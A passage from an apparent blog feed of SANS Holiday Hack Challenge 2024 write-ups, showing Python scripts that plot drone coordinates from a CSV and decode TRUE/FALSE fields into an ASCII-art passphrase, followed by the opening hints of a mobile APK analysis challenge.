class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; folium&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;coords = []&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;ELF-HAWK-dump.csv&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;) &lt;span class=&#34;keyword&#34;&gt;as&lt;/span&gt; file:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; line &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; file.read().split(&lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;)[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;:-&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        line_array = line.split(&lt;span class=&#34;string&#34;&gt;&amp;quot;,&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        y = &lt;span class=&#34;built_in&#34;&gt;float&lt;/span&gt;(line_array[&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        x = &lt;span class=&#34;built_in&#34;&gt;float&lt;/span&gt;(line_array[&lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        coords.append((x,y))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;m = folium.Map()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;folium.PolyLine(coords).add_to(m)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;m.save(&lt;span class=&#34;string&#34;&gt;&amp;quot;map.html&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;That did the trick showing the data in a readable format:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_06_DronePath_elf_hawk_folium.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;DroneDataAnalystExpertMedal&#34;&gt;&lt;a href=&#34;#DroneDataAnalystExpertMedal&#34; class=&#34;headerlink&#34; title=&#34;DroneDataAnalystExpertMedal&#34;&gt;&lt;/a&gt;DroneDataAnalystExpertMedal&lt;/h3&gt;&lt;p&gt;The sentence was the answer and could be confirmed using it in the Admin console:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_07_DronePath_DroneDataAnalystExpertMedal.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h2&gt;&lt;p&gt;For the gold trophy, I followed the hint from &lt;code&gt;Pigeon-Lookalike-v4&lt;/code&gt;: &lt;code&gt;There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.&lt;/code&gt;&lt;br&gt;Down that path I used a &lt;code&gt;python&lt;/code&gt; script to convert &lt;code&gt;TRUE&lt;/code&gt; and &lt;code&gt;FALSE&lt;/code&gt; values to &lt;code&gt;1&lt;/code&gt;s and &lt;code&gt;0&lt;/code&gt;s in &lt;a href=&#34;https://hhc24-dronepath.holidayhackchallenge.com/files/secret/ELF-HAWK-dump.csv&#34;&gt;&lt;code&gt;ELF-HAWK-dump.csv&lt;/code&gt;&lt;/a&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;outStr = &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;ELF-HAWK-dump.csv&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;) &lt;span class=&#34;keyword&#34;&gt;as&lt;/span&gt; file:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; line &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; file.read().split(&lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;)[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;:-&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; field &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; line.split(&lt;span class=&#34;string&#34;&gt;&amp;quot;,&amp;quot;&lt;/span&gt;):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; field == &lt;span class=&#34;string&#34;&gt;&amp;quot;TRUE&amp;quot;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;               outStr += &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;keyword&#34;&gt;elif&lt;/span&gt; field == &lt;span class=&#34;string&#34;&gt;&amp;quot;FALSE&amp;quot;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                outStr += &lt;span class=&#34;string&#34;&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; i &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;range&lt;/span&gt;(&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;, &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(outStr), &lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    char = outStr[i:i+&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    n = &lt;span class=&#34;built_in&#34;&gt;int&lt;/span&gt;(char, &lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (n.to_bytes((n.bit_length() + &lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;) // &lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;big&amp;#x27;&lt;/span&gt;).decode(), end=&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;…after fixing the header line I was then finally able to get the passphrase:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;51&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;52&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;53&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;54&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;55&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;56&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;57&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;58&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;59&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act2-dronepath) thedead@maccos act2-dronepath % python3 carver.py   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*::::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::::::::::::::::::::::::::::::-------------=--------::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::::::::::::------------------------===-=======--=-::::::::::-:::::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::::::::::------------:------------=-====================---:::::::::=+::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::::::::::::::::------------------------------=====================-------::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::::-------------------------------------================:------:::::::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::--------------------------------------==============-::--------:::::::::-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::::::::::-------:--------@+:::::::::--=@--------:===========-::-::----==---:::::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::-------:::::----------@---::::::---+-==+@--------=========-:--:------=====---::::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::--------::::::-------#--------------=-+@------------===------::-----====--==---::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::-------:-:::::::------@=@=++#+++++@@@@@=-----------------:::--------------==---::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::----------::::=-#-:----**%@+++++++%@@=::::::---%@------:--------:--@-+::-------::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::-----:----:::::::::::--::@@**%@--::::::::::::::--=+@------------@--:::::------@::::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::---+@::::::---+@:::::::::#@-@--:::::-:=*=-::-----=+*=*=--------@:--:::::::-----=:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::@-:::-::::::-----=@:-:::@+@%---------------==-==+@@@@@=@------@---------:::::--==+%::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::#:::::::::::-----=+*@:::%#@#-=---------===++*%@@+@=+*#-+*=@-----#====-----------**-%::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::@--::-:::--:---==++*@-:@=+@=+-@=*+++++++**@#%*@-##**-@##%=#%@@@@#*@###@=+**@*****@@@:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::@*=--++++++++**@@@@@@*#@-+%@*=*+****@@@+@***@%@@%%%@-%@*@@@@@@@@@@@@@@%%#%%%@@@@@%::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::@@@@@@@++#*####@@@@@@@==---====+##@*%=+@*@*%%@@@@@@@@@@@@@@@=--@+@@@@+@@@@@@@@@@-:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::=*%%%%%%%%%%%@@%@@#@-#*+++++====@-++###@%@*@@@@+@@@@-**+--::::--@@%@%%@%%%%%@@@-:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::---@@@@##@@@@@@@@@--+@%-#+#**+=+++**%@@@@@@@##%**%--:::::::--*----=*@@@@@@@*@@---::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::---@@***%%%%@@@@*@-=-+=@#=#%##***##@@@@@#@@*@%%==---:::::::::::----=+---------=--::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::----@+=%#@@@=@@-----##@+:-=%@@%##%@@@@@@@@@@@@*+=-----::::::::::::=+*-@:----===--::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;::::---------------------*@##=+@@%@==-+@@@@@@@@@@@-+=---------------===+**--=======-:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::---------------:------%+#%@@@@@#%%%%@@@@#@@@@@@@-+======---------==***#@========-:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::-%-%---------:---------*-*##%@@@@@@@@@@@@@@@@@--=@@-*===++++++++++***@*===++++++=-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--+---------=-------:-----#==#@%%%@@@@@*@%@@@----@+@@@=***@@@@***@@@@%===++++-++=-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--------------:::::--------------##-----@@--------@%@#@@%%%%@@@@@@#@=====+++++++=-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::---------------::::::---------------------=====---@@##@@@@@@@@@@@#%#-=====+++++--:::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::---======-------------------------=----==========--*=@@%@++*@@%%%@@-======:----==-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::---===============------------------===============-----#@@@@@-----===-::---=====-::::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--=============+===--------------===-==================--------======::----=======-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--================---::::-=======-======================+=====+====::------===+===-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--===================--:::::====================+====-:---==+++=::-----=======---=-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;:::--========:===========------:=====================:::-----====:-----==========+===-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; / ___/ _ \|  _ \| ____\ \      / / _ \|  _ \|  _ \   _____  ====:-----==========+===-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| |  | | | | | | |  _|  \ \ /\ / / | | | |_) | | | | |_____| ====:-----==========+===-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| |__| |_| | |_| | |___  \ V  V /| |_| |  _ &amp;lt;| |_| | |_____| ====:-----==========+===-:::&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; \____\___/|____/|_____|__\_/\_/__\___/|_| \_\____/  _  _________   ______    _    ____  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| ____\ \/ /  _ \| ____|  _ \_   _|_   _| | | |  _ \| |/ / ____\ \ / / ___|  / \  |  _ \ &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;|  _|  \  /| |_) |  _| | |_) || |   | | | | | | |_) | &lt;span class=&#34;string&#34;&gt;&amp;#x27; /|  _|  \ V / |     / _ \ | |_) |&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;| |___ /  \|  __/| |___|  _ &amp;lt; | |   | | | |_| |  _ &amp;lt;| . \| |___  | || |___ / ___ \|  _ &amp;lt; &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;|_____/_/\_\_| __|_____|_|_\_\|_| __|_|  \___/|_| \_\_|\_\_____| |_| \____/_/   \_\_| \_\&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;\ \   / / ____|  _ \|  \/  | ____|  _ \  / \  | |    ==========---======++++=+=--+++=-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt; \ \ / /|  _| | |_) | |\/| |  _| | | | |/ _ \ | |    ==========---======++++=+=--+++=-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  \ V / | |___|  _ &amp;lt;| |  | | |___| |_| / ___ \| |___ ==========---======++++=+=--+++=-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;   \_/  |_____|_| \_\_|  |_|_____|____/_/   \_\_____|==========---======++++=+=--+++=-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;::::--====+++=---++++++=+========------::::=-:---==============---======++++=+=--+++=-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;::::--==+++++++==---+++++++++++========-----================++++==-========-++=++====-:::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;:::::--====+++++-++--++++++++++=--------=-==============+++---------=====++=+++++::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;::::::::======+++=+++=+++++++++++++++=++++===========++++:-------=---=-=----:::::::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;::::::::::::::::--=-=======++=++++++++++++++============--------------:::::::::::::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;:::::::::::::::::::::::::::------===-==-===-==-----::-:::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_09_DronePath_EXPERTTURKEYCARVERMEDAL.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;All-the-tests-gone-wrong&#34;&gt;&lt;a href=&#34;#All-the-tests-gone-wrong&#34; class=&#34;headerlink&#34; title=&#34;All the tests gone wrong&#34;&gt;&lt;/a&gt;All the tests gone wrong&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;I tried to plot only rows with at least one &lt;code&gt;TRUE&lt;/code&gt;…&lt;/li&gt;
&lt;li&gt;I tried to plot based on each &lt;code&gt;TRUE&lt;/code&gt; value…&lt;/li&gt;
&lt;li&gt;I converted the &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s and wrote them as a binary file…&lt;/li&gt;
&lt;li&gt;I tried to convert &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s to numbers and then plot it… &lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_08_DronePath_AtLeastTheNetherlandsWasNotHit.png&#34;&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;Thanks-to-i81b4u&#34;&gt;&lt;a href=&#34;#Thanks-to-i81b4u&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @i81b4u&#34;&gt;&lt;/a&gt;Thanks to @i81b4u&lt;/h2&gt;&lt;p&gt;Thanks for showing me how much I was overthinking the gold trophy - “At least the Netherlands was not hit 😄”&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act2" />
        <category term="Drone Path" />
        <category term="Chimney Scissorsticks" />
        <updated>2024-12-02T08:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/12/02/2024-07-Mobile-Analysis/</id>
        <title>Mobile Analysis</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/12/02/2024-07-Mobile-Analysis/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄&lt;/span&gt; ❄ ❄ ❄&lt;br&gt;Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Mobile-Analysis-Easy-Tools&#34;&gt;&lt;a href=&#34;#Mobile-Analysis-Easy-Tools&#34; class=&#34;headerlink&#34; title=&#34;Mobile Analysis Easy - Tools&#34;&gt;&lt;/a&gt;Mobile Analysis Easy - Tools&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Eve Snowshoes&lt;/em&gt;&lt;br&gt;Try using &lt;a href=&#34;https://github.com/iBotPeaches/Apktool/releases&#34;&gt;apktool&lt;/a&gt; or &lt;a href=&#34;https://github.com/skylot/jadx&#34;&gt;jadx&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;Mobile-Analysis-Easy-Missing&#34;&gt;&lt;a href=&#34;#Mobile-Analysis-Easy-Missing&#34; class=&#34;headerlink&#34; title=&#34;Mobile Analysis Easy - Missing&#34;&gt;&lt;/a&gt;Mobile Analysis Easy - Missing&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Eve Snowshoes&lt;/em&gt;&lt;br&gt;Maybe look for what names are included and work back from that?&lt;/p&gt;
